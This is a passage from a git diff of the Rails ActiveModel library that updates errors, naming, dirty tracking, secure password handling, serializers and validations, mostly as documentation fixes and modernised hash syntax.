+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ `#reset_#{attr}!` is deprecated and will be removed on Rails 5.
+ Please use `#restore_#{attr}!` instead.
+ MSG
+
+ restore_attribute!(attr)
+ end
+
+ # Handle <tt>restore_*!</tt> for +method_missing+.
+ def restore_attribute!(attr)
if attribute_changed?(attr)
__send__("#{attr}=", changed_attributes[attr])
- changed_attributes.delete(attr)
+ clear_attribute_changes([attr])
end
end
+
+ # This is necessary because `changed_attributes` might be overridden in
+ # other implemntations (e.g. in `ActiveRecord`)
+ alias_method :attributes_changed_by_setter, :changed_attributes # :nodoc:
+
+ # Force an attribute to have a particular "before" value
+ def set_attribute_was(attr, old_value)
+ attributes_changed_by_setter[attr] = old_value
+ end
+
+ # Remove changes information for the provided attributes.
+ def clear_attribute_changes(attributes) # :doc:
+ attributes_changed_by_setter.except!(*attributes)
+ end
end
end
diff --git a/activemodel/lib/active_model/errors.rb b/activemodel/lib/active_model/errors.rb
index 963e52bff3..9105ef5dd6 100644
--- a/activemodel/lib/active_model/errors.rb
+++ b/activemodel/lib/active_model/errors.rb
@@ -7,12 +7,11 @@ module ActiveModel
# == Active \Model \Errors
#
# Provides a modified +Hash+ that you can include in your object
- # for handling error messages and interacting with Action Pack helpers.
+ # for handling error messages and interacting with Action View helpers.
#
# A minimal implementation could be:
#
# class Person
- #
# # Required dependency for ActiveModel::Errors
# extend ActiveModel::Naming
#
@@ -24,7 +23,7 @@ module ActiveModel
# attr_reader :errors
#
# def validate!
- # errors.add(:name, "can not be nil") if name == nil
+ # errors.add(:name, "cannot be nil") if name.nil?
# end
#
# # The following methods are needed to be minimally implemented
@@ -40,7 +39,6 @@ module ActiveModel
# def Person.lookup_ancestors
# [self]
# end
- #
# end
#
# The last three methods are required in your object for Errors to be
@@ -52,9 +50,9 @@ module ActiveModel
#
# The above allows you to do:
#
- # p = Person.new
- # person.validate! # => ["can not be nil"]
- # person.errors.full_messages # => ["name can not be nil"]
+ # person = Person.new
+ # person.validate! # => ["cannot be nil"]
+ # person.errors.full_messages # => ["name cannot be nil"]
# # etc..
class Errors
include Enumerable
@@ -82,7 +80,7 @@ module ActiveModel
# Clear the error messages.
#
- # person.errors.full_messages # => ["name can not be nil"]
+ # person.errors.full_messages # => ["name cannot be nil"]
# person.errors.clear
# person.errors.full_messages # => []
def clear
@@ -92,19 +90,21 @@ module ActiveModel
# Returns +true+ if the error messages include an error for the given key
# +attribute+, +false+ otherwise.
#
- # person.errors.messages # => {:name=>["can not be nil"]}
+ # person.errors.messages # => {:name=>["cannot be nil"]}
# person.errors.include?(:name) # => true
# person.errors.include?(:age) # => false
def include?(attribute)
- (v = messages[attribute]) && v.any?
+ messages[attribute].present?
end
# aliases include?
alias :has_key? :include?
+ # aliases include?
+ alias :key? :include?
# Get messages for +key+.
#
- # person.errors.messages # => {:name=>["can not be nil"]}
- # person.errors.get(:name) # => ["can not be nil"]
+ # person.errors.messages # => {:name=>["cannot be nil"]}
+ # person.errors.get(:name) # => ["cannot be nil"]
# person.errors.get(:age) # => nil
def get(key)
messages[key]
@@ -112,7 +112,7 @@ module ActiveModel
# Set messages for +key+ to +value+.
#
- # person.errors.get(:name) # => ["can not be nil"]
+ # person.errors.get(:name) # => ["cannot be nil"]
# person.errors.set(:name, ["can't be nil"])
# person.errors.get(:name) # => ["can't be nil"]
def set(key, value)
@@ -121,8 +121,8 @@ module ActiveModel
# Delete messages for +key+. Returns the deleted messages.
#
- # person.errors.get(:name) # => ["can not be nil"]
- # person.errors.delete(:name) # => ["can not be nil"]
+ # person.errors.get(:name) # => ["cannot be nil"]
+ # person.errors.delete(:name) # => ["cannot be nil"]
# person.errors.get(:name) # => nil
def delete(key)
messages.delete(key)
@@ -131,8 +131,8 @@ module ActiveModel
# When passed a symbol or a name of a method, returns an array of errors
# for the method.
#
- # person.errors[:name] # => ["can not be nil"]
- # person.errors['name'] # => ["can not be nil"]
+ # person.errors[:name] # => ["cannot be nil"]
+ # person.errors['name'] # => ["cannot be nil"]
def [](attribute)
get(attribute.to_sym) || set(attribute.to_sym, [])
end
@@ -177,15 +177,15 @@ module ActiveModel
# Returns all message values.
#
- # person.errors.messages # => {:name=>["can not be nil", "must be specified"]}
- # person.errors.values # => [["can not be nil", "must be specified"]]
+ # person.errors.messages # => {:name=>["cannot be nil", "must be specified"]}
+ # person.errors.values # => [["cannot be nil", "must be specified"]]
def values
messages.values
end
# Returns all message keys.
#
- # person.errors.messages # => {:name=>["can not be nil", "must be specified"]}
+ # person.errors.messages # => {:name=>["cannot be nil", "must be specified"]}
# person.errors.keys # => [:name]
def keys
messages.keys
@@ -213,7 +213,7 @@ module ActiveModel
# Returns +true+ if no errors are found, +false+ otherwise.
# If the error message is a string it can be empty.
#
- # person.errors.full_messages # => ["name can not be nil"]
+ # person.errors.full_messages # => ["name cannot be nil"]
# person.errors.empty? # => false
def empty?
all? { |k, v| v && v.empty? && !v.is_a?(String) }
@@ -233,15 +233,15 @@ module ActiveModel
# # <error>name must be specified</error>
# # </errors>
def to_xml(options={})
- to_a.to_xml({ :root => "errors", :skip_types => true }.merge!(options))
+ to_a.to_xml({ root: "errors", skip_types: true }.merge!(options))
end
# Returns a Hash that can be used as the JSON representation for this
# object. You can pass the <tt>:full_messages</tt> option. This determines
# if the json object should contain full messages or not (false by default).
#
- # person.as_json # => {:name=>["can not be nil"]}
- # person.as_json(full_messages: true) # => {:name=>["name can not be nil"]}
+ # person.errors.as_json # => {:name=>["cannot be nil"]}
+ # person.errors.as_json(full_messages: true) # => {:name=>["name cannot be nil"]}
def as_json(options=nil)
to_hash(options && options[:full_messages])
end
@@ -249,15 +249,13 @@ module ActiveModel
# Returns a Hash of attributes with their error messages. If +full_messages+
# is +true+, it will contain full messages (see +full_message+).
#
- # person.to_hash # => {:name=>["can not be nil"]}
- # person.to_hash(true) # => {:name=>["name can not be nil"]}
+ # person.errors.to_hash # => {:name=>["cannot be nil"]}
+ # person.errors.to_hash(true) # => {:name=>["name cannot be nil"]}
def to_hash(full_messages = false)
if full_messages
- messages = {}
- self.messages.each do |attribute, array|
+ self.messages.each_with_object({}) do |(attribute, array), messages|
messages[attribute] = array.map { |message| full_message(attribute, message) }
end
- messages
else
self.messages.dup
end
@@ -281,7 +279,7 @@ module ActiveModel
# If +message+ is a proc, it will be called, allowing for things like
# <tt>Time.now</tt> to be used within an error.
#
- # If the <tt>:strict</tt> option is set to true will raise
+ # If the <tt>:strict</tt> option is set to +true+, it will raise
# ActiveModel::StrictValidationFailed instead of adding the error.
# <tt>:strict</tt> option can also be set to any other exception.
#
@@ -291,7 +289,14 @@ module ActiveModel
# # => NameIsInvalid: name is invalid
#
# person.errors.messages # => {}
- def add(attribute, message = nil, options = {})
+ #
+ # +attribute+ should be set to <tt>:base</tt> if the error is not
+ # directly associated with a single attribute.
+ #
+ # person.errors.add(:base, "either name or email must be present")
+ # person.errors.messages
+ # # => {:base=>["either name or email must be present"]}
+ def add(attribute, message = :invalid, options = {})
message = normalize_message(attribute, message, options)
if exception = options[:strict]
exception = ActiveModel::StrictValidationFailed if exception == true
@@ -333,7 +338,7 @@ module ActiveModel
#
# person.errors.add :name, :blank
# person.errors.added? :name, :blank # => true
- def added?(attribute, message = nil, options = {})
+ def added?(attribute, message = :invalid, options = {})
message = normalize_message(attribute, message, options)
self[attribute].include? message
end
@@ -352,17 +357,31 @@ module ActiveModel
map { |attribute, message| full_message(attribute, message) }
end
+ # Returns all the full error messages for a given attribute in an array.
+ #
+ # class Person
+ # validates_presence_of :name, :email
+ # validates_length_of :name, in: 5..30
+ # end
+ #
+ # person = Person.create()
+ # person.errors.full_messages_for(:name)
+ # # => ["Name is too short (minimum is 5 characters)", "Name can't be blank"]
+ def full_messages_for(attribute)
+ (get(attribute) || []).map { |message| full_message(attribute, message) }
+ end
+
# Returns a full message for a given attribute.
#
# person.errors.full_message(:name, 'is invalid') # => "Name is invalid"
def full_message(attribute, message)
return message if attribute == :base
attr_name = attribute.to_s.tr('.', '_').humanize
- attr_name = @base.class.human_attribute_name(attribute, :default => attr_name)
+ attr_name = @base.class.human_attribute_name(attribute, default: attr_name)
I18n.t(:"errors.format", {
- :default => "%{attribute} %{message}",
- :attribute => attr_name,
- :message => message
+ default: "%{attribute} %{message}",
+ attribute: attr_name,
+ message: message
})
end
@@ -414,10 +433,10 @@ module ActiveModel
value = (attribute != :base ? @base.send(:read_attribute_for_validation, attribute) : nil)
options = {
- :default => defaults,
- :model => @base.class.model_name.human,
- :attribute => @base.class.human_attribute_name(attribute),
- :value => value
+ default: defaults,
+ model: @base.model_name.human,
+ attribute: @base.class.human_attribute_name(attribute),
+ value: value
}.merge!(options)
I18n.translate(key, options)
@@ -425,8 +444,6 @@ module ActiveModel
private
def normalize_message(attribute, message, options)
- message ||= :invalid
-
case message
when Symbol
generate_message(attribute, message, options.except(*CALLBACKS_OPTIONS))
diff --git a/activemodel/lib/active_model/forbidden_attributes_protection.rb b/activemodel/lib/active_model/forbidden_attributes_protection.rb
index 7468f95548..b4fa378601 100644
--- a/activemodel/lib/active_model/forbidden_attributes_protection.rb
+++ b/activemodel/lib/active_model/forbidden_attributes_protection.rb
@@ -23,5 +23,6 @@ module ActiveModel
attributes
end
end
+ alias :sanitize_forbidden_attributes :sanitize_for_mass_assignment
end
end
diff --git a/activemodel/lib/active_model/gem_version.rb b/activemodel/lib/active_model/gem_version.rb
new file mode 100644
index 0000000000..2403242ce6
--- /dev/null
+++ b/activemodel/lib/active_model/gem_version.rb
@@ -0,0 +1,15 @@
+module ActiveModel
+ # Returns the version of the currently loaded Active Model as a <tt>Gem::Version</tt>
+ def self.gem_version
+ Gem::Version.new VERSION::STRING
+ end
+
+ module VERSION
+ MAJOR = 5
+ MINOR = 0
+ TINY = 0
+ PRE = "alpha"
+
+ STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+ end
+end
diff --git a/activemodel/lib/active_model/lint.rb b/activemodel/lib/active_model/lint.rb
index 1be2913f0b..38087521a2 100644
--- a/activemodel/lib/active_model/lint.rb
+++ b/activemodel/lib/active_model/lint.rb
@@ -13,7 +13,7 @@ module ActiveModel
#
# These tests do not attempt to determine the semantic correctness of the
# returned values. For instance, you could implement <tt>valid?</tt> to
- # always return true, and the tests would pass. It is up to you to ensure
+ # always return +true+, and the tests would pass. It is up to you to ensure
# that the values are semantically meaningful.
#
# Objects you pass in are expected to return a compliant object from a call
@@ -73,16 +73,19 @@ module ActiveModel
# == \Naming
#
- # Model.model_name must return a string with some convenience methods:
- # <tt>:human</tt>, <tt>:singular</tt> and <tt>:plural</tt>. Check
- # ActiveModel::Naming for more information.
+ # Model.model_name and Model#model_name must return a string with some
+ # convenience methods: # <tt>:human</tt>, <tt>:singular</tt> and
+ # <tt>:plural</tt>. Check ActiveModel::Naming for more information.
def test_model_naming
- assert model.class.respond_to?(:model_name), "The model should respond to model_name"
+ assert model.class.respond_to?(:model_name), "The model class should respond to model_name"
model_name = model.class.model_name
assert model_name.respond_to?(:to_str)
assert model_name.human.respond_to?(:to_str)
assert model_name.singular.respond_to?(:to_str)
assert model_name.plural.respond_to?(:to_str)
+
+ assert model.respond_to?(:model_name), "The model instance should respond to model_name"
+ assert_equal model.model_name, model.class.model_name
end
# == \Errors Testing
@@ -98,7 +101,7 @@ module ActiveModel
private
def model
- assert @model.respond_to?(:to_model), "The object should respond_to to_model"
+ assert @model.respond_to?(:to_model), "The object should respond to to_model"
@model.to_model
end
diff --git a/activemodel/lib/active_model/locale/en.yml b/activemodel/lib/active_model/locale/en.yml
index d17848c861..bf07945fe1 100644
--- a/activemodel/lib/active_model/locale/en.yml
+++ b/activemodel/lib/active_model/locale/en.yml
@@ -13,9 +13,16 @@ en:
accepted: "must be accepted"
empty: "can't be empty"
blank: "can't be blank"
- too_long: "is too long (maximum is %{count} characters)"
- too_short: "is too short (minimum is %{count} characters)"
- wrong_length: "is the wrong length (should be %{count} characters)"
+ present: "must be blank"
+ too_long:
+ one: "is too long (maximum is 1 character)"
+ other: "is too long (maximum is %{count} characters)"
+ too_short:
+ one: "is too short (minimum is 1 character)"
+ other: "is too short (minimum is %{count} characters)"
+ wrong_length:
+ one: "is the wrong length (should be 1 character)"
+ other: "is the wrong length (should be %{count} characters)"
not_a_number: "is not a number"
not_an_integer: "must be an integer"
greater_than: "must be greater than %{count}"
diff --git a/activemodel/lib/active_model/model.rb b/activemodel/lib/active_model/model.rb
index 62383a03e8..d51d6ddcc9 100644
--- a/activemodel/lib/active_model/model.rb
+++ b/activemodel/lib/active_model/model.rb
@@ -1,6 +1,6 @@
module ActiveModel
- # == Active \Model Basic \Model
+ # == Active \Model \Basic \Model
#
# Includes the required interface for an object to interact with
# <tt>ActionPack</tt>, using different <tt>ActiveModel</tt> modules.
@@ -16,8 +16,8 @@ module ActiveModel
# end
#
# person = Person.new(name: 'bob', age: '18')
- # person.name # => 'bob'
- # person.age # => 18
+ # person.name # => "bob"
+ # person.age # => "18"
#
# Note that, by default, <tt>ActiveModel::Model</tt> implements <tt>persisted?</tt>
# to return +false+, which is the most common case. You may want to override
@@ -56,13 +56,13 @@ module ActiveModel
# refer to the specific modules included in <tt>ActiveModel::Model</tt>
# (see below).
module Model
- def self.included(base) #:nodoc:
- base.class_eval do
- extend ActiveModel::Naming
- extend ActiveModel::Translation
- include ActiveModel::Validations
- include ActiveModel::Conversion
- end
+ extend ActiveSupport::Concern
+ include ActiveModel::Validations
+ include ActiveModel::Conversion
+
+ included do
+ extend ActiveModel::Naming
+ extend ActiveModel::Translation
end
# Initializes a new model with the given +params+.
@@ -74,11 +74,13 @@ module ActiveModel
#
# person = Person.new(name: 'bob', age: '18')
# person.name # => "bob"
- # person.age # => 18
+ # person.age # => "18"
def initialize(params={})
params.each do |attr, value|
self.public_send("#{attr}=", value)
end if params
+
+ super()
end
# Indicates if the model is persisted. Default is +false+.
diff --git a/activemodel/lib/active_model/naming.rb b/activemodel/lib/active_model/naming.rb
index 6887f6d781..4e6b02c246 100644
--- a/activemodel/lib/active_model/naming.rb
+++ b/activemodel/lib/active_model/naming.rb
@@ -129,7 +129,7 @@ module ActiveModel
#
# Equivalent to +to_s+.
delegate :==, :===, :<=>, :=~, :"!~", :eql?, :to_s,
- :to_str, :to => :name
+ :to_str, to: :name
# Returns a new ActiveModel::Name instance. By default, the +namespace+
# and +name+ option will take the namespace and name of the given class
@@ -183,7 +183,7 @@ module ActiveModel
defaults << options[:default] if options[:default]
defaults << @human
- options = { :scope => [@klass.i18n_scope, :models], :count => 1, :default => defaults }.merge!(options.except(:default))
+ options = { scope: [@klass.i18n_scope, :models], count: 1, default: defaults }.merge!(options.except(:default))
I18n.translate(defaults.shift, options)
end
@@ -204,7 +204,7 @@ module ActiveModel
# extend ActiveModel::Naming
# end
#
- # BookCover.model_name # => "BookCover"
+ # BookCover.model_name.name # => "BookCover"
# BookCover.model_name.human # => "Book cover"
#
# BookCover.model_name.i18n_key # => :book_cover
@@ -214,14 +214,20 @@ module ActiveModel
# is required to pass the Active Model Lint test. So either extending the
# provided method below, or rolling your own is required.
module Naming
+ def self.extended(base) #:nodoc:
+ base.remove_possible_method :model_name
+ base.delegate :model_name, to: :class
+ end
+
# Returns an ActiveModel::Name object for module. It can be
# used to retrieve all kinds of naming-related information
# (See ActiveModel::Name for more information).
#
- # class Person < ActiveModel::Model
+ # class Person
+ # include ActiveModel::Model
# end
#
- # Person.model_name # => Person
+ # Person.model_name.name # => "Person"
# Person.model_name.class # => ActiveModel::Name
# Person.model_name.singular # => "person"
# Person.model_name.plural # => "people"
@@ -262,10 +268,10 @@ module ActiveModel
# namespaced models regarding whether it's inside isolated engine.
#
# # For isolated engine:
- # ActiveModel::Naming.singular_route_key(Blog::Post) #=> post
+ # ActiveModel::Naming.singular_route_key(Blog::Post) # => "post"
#
# # For shared engine:
- # ActiveModel::Naming.singular_route_key(Blog::Post) #=> blog_post
+ # ActiveModel::Naming.singular_route_key(Blog::Post) # => "blog_post"
def self.singular_route_key(record_or_class)
model_name_from_record_or_class(record_or_class).singular_route_key
end
@@ -274,10 +280,10 @@ module ActiveModel
# namespaced models regarding whether it's inside isolated engine.
#
# # For isolated engine:
- # ActiveModel::Naming.route_key(Blog::Post) #=> posts
+ # ActiveModel::Naming.route_key(Blog::Post) # => "posts"
#
# # For shared engine:
- # ActiveModel::Naming.route_key(Blog::Post) #=> blog_posts
+ # ActiveModel::Naming.route_key(Blog::Post) # => "blog_posts"
#
# The route key also considers if the noun is uncountable and, in
# such cases, automatically appends _index.
@@ -289,21 +295,19 @@ module ActiveModel
# namespaced models regarding whether it's inside isolated engine.
#
# # For isolated engine:
- # ActiveModel::Naming.param_key(Blog::Post) #=> post
+ # ActiveModel::Naming.param_key(Blog::Post) # => "post"
#
# # For shared engine:
- # ActiveModel::Naming.param_key(Blog::Post) #=> blog_post
+ # ActiveModel::Naming.param_key(Blog::Post) # => "blog_post"
def self.param_key(record_or_class)
model_name_from_record_or_class(record_or_class).param_key
end
def self.model_name_from_record_or_class(record_or_class) #:nodoc:
- if record_or_class.respond_to?(:model_name)
- record_or_class.model_name
- elsif record_or_class.respond_to?(:to_model)
- record_or_class.to_model.class.model_name
+ if record_or_class.respond_to?(:to_model)
+ record_or_class.to_model.model_name
else
- record_or_class.class.model_name
+ record_or_class.model_name
end
end
private_class_method :model_name_from_record_or_class
diff --git a/activemodel/lib/active_model/secure_password.rb b/activemodel/lib/active_model/secure_password.rb
index 6644b60609..8f2a069ba3 100644
--- a/activemodel/lib/active_model/secure_password.rb
+++ b/activemodel/lib/active_model/secure_password.rb
@@ -2,25 +2,36 @@ module ActiveModel
module SecurePassword
extend ActiveSupport::Concern
- class << self; attr_accessor :min_cost; end
+ # BCrypt hash function can handle maximum 72 characters, and if we pass
+ # password of length more than 72 characters it ignores extra characters.
+ # Hence need to put a restriction on password length.
+ MAX_PASSWORD_LENGTH_ALLOWED = 72
+
+ class << self
+ attr_accessor :min_cost # :nodoc:
+ end
self.min_cost = false
module ClassMethods
# Adds methods to set and authenticate against a BCrypt password.
- # This mechanism requires you to have a password_digest attribute.
+ # This mechanism requires you to have a +password_digest+ attribute.
+ #
+ # The following validations are added automatically:
+ # * Password must be present on creation
+ # * Password length should be less than or equal to 72 characters
+ # * Confirmation of password (using a +password_confirmation+ attribute)
#
- # Validations for presence of password on create, confirmation of password
- # (using a +password_confirmation+ attribute) are automatically added. If
- # you wish to turn off validations, pass <tt>validations: false</tt> as an
- # argument. You can add more validations by hand if need be.
+ # If password confirmation validation is not needed, simply leave out the
+ # value for +password_confirmation+ (i.e. don't provide a form field for
+ # it). When this attribute has a +nil+ value, the validation will not be
+ # triggered.
#
- # If you don't need the confirmation validation, just don't set any
- # value to the password_confirmation attribute and the the validation
- # will not be triggered.
+ # For further customizability, it is possible to supress the default
+ # validations by passing <tt>validations: false</tt> as an argument.
#
- # You need to add bcrypt-ruby (~> 3.0.0) to Gemfile to use #has_secure_password:
+ # Add bcrypt (~> 3.1.7) to Gemfile to use #has_secure_password:
#
- # gem 'bcrypt-ruby', '~> 3.0.0'
+ # gem 'bcrypt', '~> 3.1.7'
#
# Example using Active Record (which automatically includes ActiveModel::SecurePassword):
#
@@ -30,33 +41,44 @@ module ActiveModel
# end
#
# user = User.new(name: 'david', password: '', password_confirmation: 'nomatch')
- # user.save # => false, password required
+ # user.save # => false, password required
# user.password = 'mUc3m00RsqyRe'
- # user.save # => false, confirmation doesn't match
+ # user.save # => false, confirmation doesn't match
# user.password_confirmation = 'mUc3m00RsqyRe'
- # user.save # => true
- # user.authenticate('notright') # => false
- # user.authenticate('mUc3m00RsqyRe') # => user
- # User.find_by_name('david').try(:authenticate, 'notright') # => false
- # User.find_by_name('david').try(:authenticate, 'mUc3m00RsqyRe') # => user
+ # user.save # => true
+ # user.authenticate('notright') # => false
+ # user.authenticate('mUc3m00RsqyRe') # => user
+ # User.find_by(name: 'david').try(:authenticate, 'notright') # => false
+ # User.find_by(name: 'david').try(:authenticate, 'mUc3m00RsqyRe') # => user
def has_secure_password(options = {})
- # Load bcrypt-ruby only when has_secure_password is used.
+ # Load bcrypt gem only when has_secure_password is used.
# This is to avoid ActiveModel (and by extension the entire framework)
# being dependent on a binary library.
- gem 'bcrypt-ruby', '~> 3.0.0'
- require 'bcrypt'
+ begin
+ require 'bcrypt'
+ rescue LoadError
+ $stderr.puts "You don't have bcrypt installed in your application. Please add it to your Gemfile and run bundle install"
+ raise
+ end
- attr_reader :password
+ include InstanceMethodsOnActivation
if options.fetch(:validations, true)
- validates_confirmation_of :password
- validates_presence_of :password, :on => :create
+ include ActiveModel::Validations
- before_create { raise "Password digest missing on new record" if password_digest.blank? }
- end
+ # This ensures the model has a password by checking whether the password_digest
+ # is present, so that this works with both new and existing records. However,
+ # when there is an error, the message is added to the password attribute instead
+ # so that the error message will make sense to the end-user.
+ validate do |record|
+ record.errors.add(:password, :blank) unless record.password_digest.present?
+ end
- include InstanceMethodsOnActivation
+ validates_length_of :password, maximum: ActiveModel::SecurePassword::MAX_PASSWORD_LENGTH_ALLOWED
+ validates_confirmation_of :password, allow_blank: true
+ end
+ # This code is necessary as long as the protected_attributes gem is supported.
if respond_to?(:attributes_protected_by_default)
def self.attributes_protected_by_default #:nodoc:
super + ['password_digest']
@@ -80,8 +102,10 @@ module ActiveModel
BCrypt::Password.new(password_digest) == unencrypted_password && self
end
+ attr_reader :password
+
# Encrypts the password into the +password_digest+ attribute, only if the
- # new password is not blank.
+ # new password is not empty.
#
# class User < ActiveRecord::Base
# has_secure_password validations: false
@@ -93,12 +117,18 @@ module ActiveModel
# user.password = 'mUc3m00RsqyRe'
# user.password_digest # => "$2a$10$4LEA7r4YmNHtvlAvHhsYAeZmk/xeUVtMTYqwIvYY76EW5GUqDiP4."
def password=(unencrypted_password)
- unless unencrypted_password.blank?
+ if unencrypted_password.nil?
+ self.password_digest = nil
+ elsif !unencrypted_password.empty?
@password = unencrypted_password
- cost = ActiveModel::SecurePassword.min_cost ? BCrypt::Engine::MIN_COST : BCrypt::Engine::DEFAULT_COST
+ cost = ActiveModel::SecurePassword.min_cost ? BCrypt::Engine::MIN_COST : BCrypt::Engine.cost
self.password_digest = BCrypt::Password.create(unencrypted_password, cost: cost)
end
end
+
+ def password_confirmation=(unencrypted_password)
+ @password_confirmation = unencrypted_password
+ end
end
end
end
diff --git a/activemodel/lib/active_model/serialization.rb b/activemodel/lib/active_model/serialization.rb
index fdb06aebb9..976f50b13e 100644
--- a/activemodel/lib/active_model/serialization.rb
+++ b/activemodel/lib/active_model/serialization.rb
@@ -4,7 +4,7 @@ require 'active_support/core_ext/hash/slice'
module ActiveModel
# == Active \Model \Serialization
#
- # Provides a basic serialization to a serializable_hash for your object.
+ # Provides a basic serialization to a serializable_hash for your objects.
#
# A minimal implementation could be:
#
@@ -25,14 +25,14 @@ module ActiveModel
# person.name = "Bob"
# person.serializable_hash # => {"name"=>"Bob"}
#
- # You need to declare an attributes hash which contains the attributes you
- # want to serialize. Attributes must be strings, not symbols. When called,
- # serializable hash will use instance methods that match the name of the
- # attributes hash's keys. In order to override this behavior, take a look at
- # the private method +read_attribute_for_serialization+.
+ # An +attributes+ hash must be defined and should contain any attributes you
+ # need to be serialized. Attributes must be strings, not symbols.
+ # When called, serializable hash will use instance methods that match the name
+ # of the attributes hash's keys. In order to override this behavior, take a look
+ # at the private method +read_attribute_for_serialization+.
#
- # Most of the time though, you will want to include the JSON or XML
- # serializations. Both of these modules automatically include the
+ # Most of the time though, either the JSON or XML serializations are needed.
+ # Both of these modules automatically include the
# <tt>ActiveModel::Serialization</tt> module, so there is no need to
# explicitly include it.
#
@@ -128,7 +128,7 @@ module ActiveModel
# retrieve the value for a given attribute differently:
#
# class MyClass
- # include ActiveModel::Validations
+ # include ActiveModel::Serialization
#
# def initialize(data = {})
# @data = data
diff --git a/activemodel/lib/active_model/serializers/json.rb b/activemodel/lib/active_model/serializers/json.rb
index 9d984b7a18..b66dbf1afe 100644
--- a/activemodel/lib/active_model/serializers/json.rb
+++ b/activemodel/lib/active_model/serializers/json.rb
@@ -2,7 +2,7 @@ require 'active_support/json'
module ActiveModel
module Serializers
- # == Active Model JSON Serializer
+ # == Active \Model \JSON \Serializer
module JSON
extend ActiveSupport::Concern
include ActiveModel::Serialization
@@ -93,7 +93,7 @@ module ActiveModel
end
if root
- root = self.class.model_name.element if root == true
+ root = model_name.element if root == true
{ root => serializable_hash(options) }
else
serializable_hash(options)
@@ -109,7 +109,7 @@ module ActiveModel
#
# def attributes=(hash)
# hash.each do |key, value|
- # instance_variable_set("@#{key}", value)
+ # send("#{key}=", value)
# end
# end
#
@@ -130,10 +130,10 @@ module ActiveModel
#
# json = { person: { name: 'bob', age: 22, awesome:true } }.to_json
# person = Person.new
- # person.from_json(json) # => #<Person:0x007fec5e7a0088 @age=22, @awesome=true, @name="bob">
- # person.name # => "bob"
- # person.age # => 22
- # person.awesome # => true
+ # person.from_json(json, true) # => #<Person:0x007fec5e7a0088 @age=22, @awesome=true, @name="bob">
+ # person.name # => "bob"
+ # person.age # => 22
+ # person.awesome # => true
def from_json(json, include_root=include_root_in_json)
hash = ActiveSupport::JSON.decode(json)
hash = hash.values.first if include_root
diff --git a/activemodel/lib/active_model/serializers/xml.rb b/activemodel/lib/active_model/serializers/xml.rb
index 4a17a63e20..3ad3bf30ad 100755..100644
--- a/activemodel/lib/active_model/serializers/xml.rb
+++ b/activemodel/lib/active_model/serializers/xml.rb
@@ -1,7 +1,8 @@
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/array/conversions'
require 'active_support/core_ext/hash/conversions'
require 'active_support/core_ext/hash/slice'
+require 'active_support/core_ext/time/acts_like'
module ActiveModel
module Serializers
@@ -20,7 +21,11 @@ module ActiveModel
def initialize(name, serializable, value)
@name, @serializable = name, serializable
- value = value.in_time_zone if value.respond_to?(:in_time_zone)
+
+ if value.acts_like?(:time) && value.respond_to?(:in_time_zone)
+ value = value.in_time_zone
+ end
+
@value = value
@type = compute_type
end
@@ -74,17 +79,17 @@ module ActiveModel
require 'builder' unless defined? ::Builder
options[:indent] ||= 2
- options[:builder] ||= ::Builder::XmlMarkup.new(:indent => options[:indent])
+ options[:builder] ||= ::Builder::XmlMarkup.new(indent: options[:indent])
@builder = options[:builder]
@builder.instruct! unless options[:skip_instruct]
- root = (options[:root] || @serializable.class.model_name.element).to_s
+ root = (options[:root] || @serializable.model_name.element).to_s
root = ActiveSupport::XmlMini.rename_key(root, options)
args = [root]
- args << {:xmlns => options[:namespace]} if options[:namespace]
- args << {:type => options[:type]} if options[:type] && !options[:skip_types]
+ args << { xmlns: options[:namespace] } if options[:namespace]
+ args << { type: options[:type] } if options[:type] && !options[:skip_types]
@builder.tag!(*args) do
add_attributes_and_methods
@@ -127,7 +132,7 @@ module ActiveModel
records = records.to_ary
tag = ActiveSupport::XmlMini.rename_key(association.to_s, options)
- type = options[:skip_types] ? { } : {:type => "array"}
+ type = options[:skip_types] ? { } : { type: "array" }
association_name = association.to_s.singularize
merged_options[:root] = association_name
@@ -140,7 +145,7 @@ module ActiveModel
record_type = {}
else
record_class = (record.class.to_s.underscore == association_name) ? nil : record.class.name
- record_type = {:type => record_class}
+ record_type = { type: record_class }
end
record.to_xml merged_options.merge(record_type)
@@ -200,7 +205,7 @@ module ActiveModel
Serializer.new(self, options).serialize(&block)
end
- # Sets the model +attributes+ from a JSON string. Returns +self+.
+ # Sets the model +attributes+ from an XML string. Returns +self+.
#
# class Person
# include ActiveModel::Serializers::Xml
diff --git a/activemodel/lib/active_model/translation.rb b/activemodel/lib/active_model/translation.rb
index 0d098ba93d..8470915abb 100644
--- a/activemodel/lib/active_model/translation.rb
+++ b/activemodel/lib/active_model/translation.rb
@@ -41,7 +41,7 @@ module ActiveModel
#
# Specify +options+ with additional translating options.
def human_attribute_name(attribute, options = {})
- options = { :count => 1 }.merge!(options)
+ options = { count: 1 }.merge!(options)
parts = attribute.to_s.split(".")
attribute = parts.pop
namespace = parts.join("/") unless parts.empty?
diff --git a/activemodel/lib/active_model/validations.rb b/activemodel/lib/active_model/validations.rb
index 2db4a25f61..c1e344b215 100644
--- a/activemodel/lib/active_model/validations.rb
+++ b/activemodel/lib/active_model/validations.rb
@@ -4,7 +4,7 @@ require 'active_support/core_ext/hash/except'
module ActiveModel
- # == Active \Model Validations
+ # == Active \Model \Validations
#
# Provides a full validation framework to your objects.
#
@@ -39,6 +39,7 @@ module ActiveModel
extend ActiveSupport::Concern
included do
+ extend ActiveModel::Naming
extend ActiveModel::Callbacks
extend ActiveModel::Translation
@@ -46,7 +47,7 @@ module ActiveModel
include HelperMethods
attr_accessor :validation_context
- define_callbacks :validate, :scope => :name
+ define_callbacks :validate, scope: :name
class_attribute :_validators
self._validators = Hash.new { |h,k| h[k] = [] }
@@ -66,8 +67,11 @@ module ActiveModel
# end
#
# Options:
- # * <tt>:on</tt> - Specifies the context where this validation is active
- # (e.g. <tt>on: :create</tt> or <tt>on: :custom_validation_context</tt>)
+ # * <tt>:on</tt> - Specifies the contexts where this validation is active.
+ # Runs in all validation contexts by default (nil). You can pass a symbol
+ # or an array of symbols. (e.g. <tt>on: :create</tt> or
+ # <tt>on: :custom_validation_context</tt> or
+ # <tt>on: [:create, :custom_validation_context]</tt>)
# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
# * <tt>:allow_blank</tt> - Skip validation if attribute is blank.
# * <tt>:if</tt> - Specifies a method, proc or string to call to determine
@@ -83,6 +87,8 @@ module ActiveModel
validates_with BlockValidator, _merge_attributes(attr_names), &block
end
